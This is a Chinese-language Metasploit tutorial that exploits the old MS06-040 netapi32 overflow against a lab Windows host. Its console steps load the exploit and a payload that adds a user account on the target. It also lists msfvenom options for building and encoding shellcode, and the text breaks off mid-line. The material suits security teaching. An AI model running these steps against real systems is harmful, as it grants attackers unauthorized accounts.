用MetaSploit开发Exploit
MSF简介
MSF模块:
- exploit:已公布漏洞的触发信息
- auxiliary:额外的插件程序,如网络欺骗工具、DOS工具、Sniffer工具等
- payload:相关的shellcode
- encoder:编码算法
- nop:“准nop”填充数据生成器
使用MSF进行安全测试的过程,就是这些模块的组装与配置过程。
入侵Windows系统
这里我们以CVE-2006-3439为例
漏洞介绍
Windows系统的动态链接文件netapi32.dll
中的第317
个导出函数NetpwPathCanon-icalize()
对于字符串参数
的处理存在典型的栈溢出
,并可以通过RPC
的方法被远程调用
。
图像界面的漏洞测试
- 启动MetaSploit Web
msfdb init
armitage
- 在exploits中查找“netapi32”,选择“Microsoft Server Service NetpwPath-Canonicalize overflow”
- 选择合适的Target
- 选择合适的shellcode,并设置恰当的值
Console界面的漏洞测试
- show exploits
- use windows/smb/ms06_040_netapi
- show targets
- set target 0
- show payloads
- set payload windows/adduser
- show options
- set RHOST 192.168.88.137(目标主机)
- set PASS 123456
- set USER failwest
- exploit
利用MSF制作shellcode
- 列出相关的payloads
msfvenom -l payloads
- 创建新的shellcode,显示相关参数
msfvenom -p windows/x64/exec --list-options
- 设置相关参数
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
# 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
--payload-options List the payload's standard options
# 列出指定 Payload 的标准可选配置项
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
# 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
# 指定 nop 在 payload 中的数量(译者注:类似堆喷射中通过 nop 滑动到 payload)
-f, --format <format> Output format (use --help-formats for a list)
# 指定 Payload 的输出格式
--help-formats List available formats
# 列出所有可用的输出格式
-e, --encoder <encoder> The encoder to use
# 指定使用的 Encoder
-a, --arch <arch> The architecture to use
# 指定目标系统架构
--platform <platform> The platform of the payload
# 指定目标系统平台
--help-platforms List available platforms
# 列出可用的平台
-s, --space <length> The maximum size of the resulting payload
# 设置未经编码的 Payload 的最大长度
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
# 编码后的 Payload 的最大长度
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
# 设置需要在 Payload 中避免出现的字符
-i, --iterations <count> The number of times to encode the payload
# 设置 Payload 的编码次数
-c, --add-code <path> Specify an additional win32 shellcode file to include
# 指定包含一个额外的win32 shellcode文件
-x, --template <path> Specify a custom executable file to use as a template
# 指定一个特定的可执行文件作为模板
-k, --keep Preserve the template behavior and inject the payload as a new thread
# 保护模板程序的功能,注入的payload作为一个新的进程运行
-o, --out <path> Save the payload
# 保存 Payload 到文件
-v, --var-name <name> Specify a custom variable name to use for certain output formats
# 指定一个变量名
#(